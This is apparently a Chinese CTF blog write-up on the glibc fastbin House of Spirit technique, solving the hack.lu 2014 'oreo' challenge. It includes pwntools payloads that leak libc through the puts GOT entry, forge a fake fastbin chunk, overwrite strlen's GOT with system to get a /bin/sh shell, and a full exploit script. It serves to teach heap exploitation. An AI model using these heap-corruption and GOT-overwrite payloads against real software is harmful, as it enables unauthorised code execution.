fastbin_House Of Spirit

本文最后更新于 2024年10月13日 晚上

Fastbin_attack_House Of Spirit

House Of Spirit

原理

House of Spirit这种技术的核心在于在目标位置处伪造fastbin chunk,并将其释放,从而达到分配指定地址的chunk的目的

与double_free的区别

double_free利用的是malloc自己生成的chunk,但是House of Spirit是为了释放任意可写地址的chunk,这个chunk可以由我们自己来构造,相比于double_free来说限制少得多

伪造检查

我们在释放这个伪造的chunk的时候他是不能够直接挂进fastbin单向链表中的,因为你在释放时,需要经过一些检查,去判断该释放的chunk是否为程序自身创建的。那么我们需要做的就是绕过这些检查

  1. fake chunk 的 ISMMAP 位不能为 1,因为 free 时,如果是 mmap 的 chunk,会单独处理
  2. fake chunk 地址需要对齐, MALLOC_ALIGN_MASK
  3. fake chunk 的 size 大小需要满足对应的 fastbin 的需求,同时也得对齐
  4. fake chunk 的 next chunk 的大小不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem
  5. fake chunk 对应的 fastbin 链表头部不能是该 fake chunk,即不能构成 double free 的情况

接下来我们用题目来更好的理解

2014 hack.lu oreo

add(sub_8048644)函数

我们来分析一下这个函数,它先是让v1指向dword_804A288,然后请0x38大小的chunk,并把chunk指针存在dword_804A288,重点是下面的一句代码

1
*((_DWORD *)dword_804A288 + 13) = v1;

把v1存到(_DWORD *)dword_804A288 + 13的位置,而一个_DWORD *是4个字节,申请的chunk总共才56个字节,而4*13=52,所以他会把上一个chunk的指针存在现在的chunk的末尾位置

接下来是把name存在dword_804A288+25的位置,把description存在dword_804A288位置,可以轻易推出name的最大值应该只有27个字节,description的最大值应该是25个字节,但是fgets的字节是56个,可以看到这里存在堆溢出

最后是在dword_804A2A4的地方进行技术操作

这个函数的特殊在于他没有利用结构体进行操作,可以根据偏移来,这为我们利用它提供了空间

校验(sub_80485EC)函数

这个函数是一个字节的校验函数,这里基本每一个fgets后面都有

show(sub_8048729)函数

这是一个打印函数。为了打印所有已创建的chunk的内容,而块与块之间的联系就是靠存他们末尾的指针实现的

free(sub_8048810)函数

这个函数也很简单,它通过循环把所有的chunk全部释放掉

message(sub_80487B4)函数

这个函数可以在dword_804A2A8存有的指针指向的区域写入128个字节的数据

思路

泄露libc

在上面的分析中我们知道,show函数是根据每一个chunk的数据域中的chunk指针实现打印的,而add函数的溢出漏洞是可以让我们把其中的chunk指针覆盖成got表地址的,被覆盖之后再执行show函数的话,不久可以泄露出libc了吗

1
2
3
4
5
6
payload=b'a'*27+p32(oreo.got['puts'])
add(b'b'*25,payload)
show_rifle()
real=u32(io.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
base=real-libc.sym['puts']
log.success('libc_base:'+hex(base))

那么接下来就要想办法修改got表了

修改got表

问题就在这,我们可以通过什么方式来伪造呢?前面我们知道message函数可以往dword_804A2A8中的指针指向的区域写入数据的

可以看到dword_804A2A8存的指针是0x804a2c0

也就是这个地方数据我们是可以控制的,那么我们如果可以伪造一个chunk,并把它挂进fastbin,那么当我们再一次申请合适的chunk的时候就可以对这个fake_chunk进行操作了,这就是我们今天技术的核心,House Of Spirit

伪造fake_chunk

因为add函数申请的chunk的大小是0x38,那我们就在0x804a2a0处,伪造一个0x40大小的fake_chunk,那么那处计数的地址我们可以申请40个chunk来让它成为fake_chunk的size域

1
2
3
4
5
6
7
8
9
i=1
while i<0x3f:
add(b'a'*27,b'b'*25)
i+=1
payload=b'a'*27+p32(0x0804A2A8)
add(b'a'*27,payload)
payload=b'\x00'*0x20+p32(0x40)+p32(0x10)
message(payload)
order()

在伪造的时候,我们要注意一些细节来绕过检查

首先的就是地址需要对齐

其二是fake_chunk的next chunk的大小不能小于2 * SIZE_SZ,也就是0x10

其三就是fake chunk 对应的 fastbin 链表头部不能是该 fake chunk,即不能构成 double free 的情况

我个人认为早libc-2.23最重要的就这三个,wiki上的其他限制,在这道题我都试过,是没有影响的,当然我没有说wiki是错的,这可能是版本高一点加的新限制

可以看到我们是成功把fake_chunk挂进了fastbin

修改got表

那么我们再一次申请chunk,就可以对它操作,如果把原本dword_804A2A8存的指针改成strlen的got表,那么我们调用message函数的时候就是再改变strlen的got表的值

1
2
3
payload=p32(oreo.got['strlen'])
payload=payload.ljust(25,b'a')
add(payload,b'a'*27)

此时调用message函数

1
2
payload=p32(system)+b';/bin/sh\x00'
message(payload)

可以看到此时got表修改成功

这里面存在strlen(dword_804A2A8),这也是上面的代码中为什么/bin/sh接在后面的原因,而dword_804A2A8第一个元素是p32(system),所以要用分号来继续执行指令

最终exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
if args['DEBUG']:
context.log_level = 'debug'

oreo = ELF("./oreo")
if args['REMOTE']:
hollk = remote(ip, port)
else:
io = process("./oreo")
log.info('PID: ' + str(proc.pidof(io)[0]))
libc = ELF('/home/joker/glibc-all-in-one/libs/2.23-0ubuntu3_i386/libc-2.23.so')

def add(descrip, name):
io.sendline('1')
io.sendline(name)
io.sendline(descrip)

def show_rifle():
io.sendline('2')
io.recvuntil('===================================\n')

def order():
io.sendline('3')

def message(notice):
io.sendline('4')
io.sendline(notice)

#libc
payload=b'a'*27+p32(oreo.got['puts'])
add(b'b'*25,payload)
show_rifle()
real=u32(io.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
base=real-libc.sym['puts']
log.success('libc_base:'+hex(base))
system=base+libc.sym['system']
i=1
while i<0x3f:
add(b'a'*27,b'b'*25)
i+=1
payload=b'a'*27+p32(0x0804A2A8)
add(b'a'*27,payload)
payload=b'\x00'*0x20+p32(0x40)+p32(0x10)
message(payload)
order()
payload=p32(oreo.got['strlen'])
payload=payload.ljust(25,b'a')
add(payload,b'a'*27)
#payload=p32(system)+b';sh\x00'
payload=p32(system)+b';/bin/sh\x00'
message(payload)
#gdb.attach(io)
io.interactive()

fastbin_House Of Spirit
http://example.com/2024/10/04/fastbin_House Of Spirit/
作者
清风
发布于
2024年10月4日
许可协议